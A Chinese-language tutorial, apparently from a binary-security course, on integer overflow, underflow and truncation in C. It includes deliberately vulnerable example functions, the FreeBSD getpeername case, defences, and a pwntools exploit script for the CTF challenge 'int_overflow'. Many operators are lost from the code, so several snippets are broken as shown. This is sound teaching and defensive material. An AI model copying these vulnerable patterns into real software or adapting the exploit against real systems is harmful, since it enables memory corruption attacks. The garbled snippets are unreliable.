:整数溢出与下溢——程序逻辑中的隐形杀手)
写在前面在Week4-7中我们系统学习了栈溢出、ROP、格式化字符串等经典漏洞利用技术。但从本周开始我们将深入探讨一个更底层、更隐蔽的漏洞类型——整数漏洞。它不像栈溢出那样直接覆盖返回地址而是通过精心构造的数值运算绕过程序的安全检查最终为更严重的漏洞如栈溢出、堆溢出铺路。今天我们先从最基础的整数溢出与下溢开始。 目录整数漏洞概述为什么“数字”会成为漏洞整数溢出详解有符号与无符号的差异整数下溢被忽视的另一面整数漏洞如何导致安全问题检测与防御从代码到编译器实战案例CTF中的整数溢出利用总结与预告1. 整数漏洞概述为什么“数字”会成为漏洞在C/C等语言中整数类型有固定的位宽如int通常为32位其能表示的数值范围是有限的csdn.net1。当运算结果超出这个范围时就会发生整数溢出或整数下溢导致数值“回绕”到另一个极端csdn.net1。这种非预期的数值变化如果被用作内存分配大小、数组索引、循环计数器或长度检查等关键参数就可能引发安全漏洞csdn.net。整数漏洞本身通常无法直接利用但其核心价值在于绕过程序的安全检查为后续的栈溢出、堆溢出等漏洞创造条件csdn.net1。整数运算结果超出范围整数类型有符号整数无符号整数溢出数值回绕到最小负值回绕数值变为最大值或0绕过长度检查导致缓冲区溢出分配过小缓冲区或拷贝过多数据控制流劫持2. 整数溢出详解有符号与无符号的差异2.1 有符号整数溢出有符号整数使用补码表示其溢出行为在C标准中是未定义行为csdn.net1。这意味着编译器可以自由处理可能回绕、截断甚至优化掉相关代码csdn.net。// 有符号整数溢出示例 int a INT_MAX; // 2147483647 int b a 1; // 溢出结果未定义通常为-2147483648典型漏洞模式void process_data(char* input, int length) { char buffer[256]; if (length sizeof(buffer)) { // 可能被负数绕过 memcpy(buffer, input, length); // 堆/栈溢出 } }如果length为负数length sizeof(buffer)会为真因为sizeof(buffer)返回size_t是无符号数负数会被转换为巨大的正数从而绕过检查csdn.net1。2.2 无符号整数回绕无符号整数的溢出行为是明确定义的结果对类型最大值1取模模运算csdn.net1。// 无符号整数回举示例 unsigned int a UINT_MAX; // 4294967295 unsigned int b a 1; // 回绕为0 unsigned int c 0; unsigned int d c - 1; // 回绕为UINT_MAX (4294967295)典型漏洞模式unsigned int len get_user_input(); char *buf malloc(len 1); // 如果len为UINT_MAXlen1回绕为0 memcpy(buf, user_data, len); // 堆溢出拷贝大量数据到极小的缓冲区2.3 截断与宽度溢出将较大宽度的数存入较小宽度的变量时高位会被截断cnblogs.com。// 截断示例 unsigned short total strlen(argv[1]) strlen(argv[2]) 1; // size_t被截断为unsigned short char *buff (char *)malloc(total); // 分配的缓冲区可能比实际需要小 strcpy(buff, argv[1]); // 缓冲区溢出 strcat(buff, argv[2]);3. 整数下溢被忽视的另一面整数下溢发生在运算结果低于类型能表示的最小值时csdn.net1。有符号数下溢最小负数减1会变为最大正数cnblogs.com1。无符号数下溢0减1会变为最大值csdn.net1。// 下溢示例 unsigned char count 0; count--; // count变为255 int balance -100; balance - INT_MAX; // 可能下溢为正数绕过余额检查下溢常用于绕过循环条件或制造死循环for (unsigned char i 250; i 255; i) { // 当i自增到255后再自增会下溢为0循环条件i255永远为真导致死循环 }4. 整数漏洞如何导致安全问题整数漏洞本身不直接造成危害但其间接后果严重漏洞类型典型场景导致的安全问题利用难度缓冲区分配过小malloc(len * sizeof(struct))中len过大导致溢出堆溢出★★★☆☆长度检查绕过if(len 0 len 256)中len为负数栈/堆溢出★★☆☆☆数组索引越界array[index]中index为负数或过大任意内存读写★★★★☆循环计数器异常for(int i0; icount; i)中count下溢死循环或逻辑错误★☆☆☆☆符号转换漏洞有符号数被隐式转换为无符号数安全检查失效★★☆☆☆4.1 经典案例getpeername漏洞2002年FreeBSD的getpeername函数实现中copy_from_kernel函数的maxlen参数声明为int但传递给memcpy的n参数是size_t无符号csdn.net。攻击者传入负数maxlen经过隐式转换为巨大的无符号数导致内核内存泄露csdn.net。// 有漏洞的代码 int copy_from_kernel(void *user_dest, int maxlen) { int len KSIZE maxlen ? KSIZE : maxlen; // 如果maxlen为负len为负 memcpy(user_dest, kbuf, len); // len被转换为size_t变为巨大正数 return len; }4.2 CTF实战整数溢出绕过长度检查在CTF题目int_overflow中程序使用unsigned char存储密码长度但strlen返回size_tcsdn.net1。// 漏洞代码 unsigned char passwd_len strlen(buf); // 截断 if (passwd_len 4 passwd_len 8) { // 仅检查截断后的值 strcpy(dest, buf); // 栈溢出 }当输入长度为261时strlen返回261但passwd_len被截断为5261 % 256 5绕过检查csdn.net1。5. 检测与防御从代码到编译器5.1 代码层面的防御运算前检查边界// 安全的加法检查 if (a INT_MAX - b) { // 处理溢出 } // 安全的乘法检查 if (b ! 0 a INT_MAX / b) { // 处理溢出 }使用安全整数库如GCC的__builtin_add_overflow、__builtin_mul_overflow等内置函数csdn.net。统一数据类型确保长度参数、数组索引等使用一致的数据类型推荐size_tcsdn.net1。避免有符号数用于内存操作不要将有符号整数直接用作memcpy、malloc等函数的参数csdn.net1。5.2 编译器与工具辅助编译器选项GCC/Clang:-fsanitizeundefined检测有符号溢出、-ftrapv溢出时 trapMSVC:/GS栈保护、/SAFESEH安全异常处理静态分析工具如Coverity、PVS-Studio、Clang Static Analyzer等可检测整数溢出风险。动态检测工具AddressSanitizer (-fsanitizeaddress) 可检测内存错误但部分整数溢出仍难检测。6. 实战案例CTF中的整数溢出利用以攻防世界int_overflow为例完整利用流程如下from pwn import * # 1. 分析程序发现整数溢出漏洞 # 程序使用unsigned char存储长度但strlen返回size_t # 当输入长度为261时passwd_len被截断为5绕过长度检查 # 2. 计算偏移 # dest缓冲区距离返回地址的偏移为0x14 4 24字节 # 3. 构造Payload payload bA * 24 # 填充到返回地址 payload p32(0x0804858B) # 后门函数地址 payload payload.ljust(261, ba) # 填充到261字节触发整数溢出 # 4. 发送Payload p process(./int_overflow) p.sendline(payload) p.interactive()关键点理解整数截断原理261 % 256 5满足4 5 8csdn.net1计算精确的偏移量后门函数地址可通过objdump或IDA查找7. 总结与预告7.1 核心知识点总结整数溢出/下溢是运算结果超出类型表示范围时的回绕行为csdn.net1。有符号溢出是未定义行为编译器可能优化掉相关代码csdn.net1。无符号回绕是明确定义的模运算行为可预测csdn.net1。整数漏洞主要用于绕过安全检查导致缓冲区溢出、数组越界等问题csdn.net1。防御措施包括运算前检查、统一数据类型、使用安全库和编译器选项csdn.net1。7.2 易错点与注意事项不要假设溢出后一定回绕有符号溢出是未定义行为不能依赖特定编译器的实现csdn.net。注意隐式类型转换有符号数与无符号数运算时有符号数会被转换为无符号数csdn.net1。检查所有用户可控的数值输入包括长度、索引、计数器等csdn.net。使用size_t处理内存大小避免使用int等有符号类型csdn.net1。7.3 下周预告 (Week8 第二篇)下一篇我们将深入探讨符号错误与符号转换漏洞包括有符号与无符号数隐式转换的陷阱getpeername漏洞的详细原理与复现CTF中符号转换漏洞的实战利用如何通过静态分析发现符号转换问题整数漏洞是二进制安全的基石之一理解它不仅能帮助你发现漏洞更能让你写出更安全的代码。如果本文对你有帮助请点赞收藏支持我们下一篇见参考资料Day 14:整数溢出(Integer Overflow/Underflow)-CSDN博客有符号与无符号转换–案例getpeername的安全漏洞-CSDN博客二进制漏洞挖掘之整数溢出-CSDN博客CTF PWN实战手把手教你利用整数溢出漏洞攻破Overflow靶场整数溢出漏洞小结 - Ox9A82 - 博客园从C语言到二进制漏洞深入理解整数溢出有/无符号、截断的底层原理与审计技巧C代码审计之整数溢出漏洞 - summer14 - 博客园